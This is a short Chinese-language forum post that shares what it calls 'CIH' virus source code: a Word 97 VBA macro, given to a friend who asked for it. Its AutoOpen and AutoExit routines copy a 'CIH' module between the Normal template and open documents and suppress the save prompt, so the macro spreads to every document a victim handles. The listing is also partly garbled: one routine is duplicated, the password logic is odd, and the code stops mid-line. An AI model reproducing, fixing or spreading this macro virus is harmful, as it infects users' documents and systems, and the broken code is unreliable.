CIH病毒原码 送给上次向我要的朋友

CIH Version 1.0 Word97 原码
Global Const Virus = "CIH Version 1.0 for Word 97"
Global Const SPI_SCREENSAVERRUNNING = 97
Global Const CONFIG = "C:\CONFIG.SYS"
Global Const AUTOEXEC = "C:\AUTOEXEC.BAT"
Global Const WININI = "\WIN.INI"
Global Const SYSTEMINI = "\SYSTEM.INI"
Global Const DEFRAGEXE = "\DEFRAG.EXE"
Global Const MaxOutPut = 300
Global Founds() As String
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDir
ectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirec
toryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function SystemParametersInfo Lib "user32" Alias "SystemParamete
rsInfoA" (ByVal uAction As Long, ByVal uParam As Long, lpvParam As Any, ByVal fu
WinIni As Long) As Long
Sub AutoOpen()
If InputBox("Password:", Virus) = "xswcdevfr" Then
If InputBox("Password:", Virus) = "xswcdevfr" Then
Exit Sub
End If
Initial
On Error Resume Next
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If Not ActiveDocument.VBProject.VBComponents(I).Name = "CIH" Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destinati
on:=ActiveDocument.FullName, Name:="CIH", Object:=wdOrganizerObjectProjectItems
ActiveDocument.SaveAs Filename:=ActiveDocument.Name, FileFormat:=wdF
ormatTemplate
End If
Next
For J = 1 To NormalTemplate.VBProject.VBComponents.Count
If Not NormalTemplate.VBProject.VBComponents(J).Name = "CIH" Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destinatio
n:=NormalTemplate.FullName, Name:="CIH", Object:=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False
End If
Next J
End Sub
Sub AutoExit()
If InputBox("Password:", Virus) = "xswcdevfr" Then
Exit Sub
End If
Initial
On Error Resume Next
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If Not ActiveDocument.VBProject.VBComponents(I).Name = "CIH" Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destinati
on:=ActiveDocument.FullName, Name:="CIH", Object:=wdOrganizerObjectProjectItems
ActiveDocument.SaveAs Filename:=ActiveDocument.Name, FileFormat:=wdF
ormatTemplate
End If
Next
For J = 1 To NormalTemplate.VBProject.VBComponents.Count
If Not NormalTemplate.VBProject.VBComponents(J).Name = "CIH" Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destinatio
n:=NormalTemplate.FullName, Name:="CIH", Object:=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False
End If
N

嘿嘿~~~我要的这个

??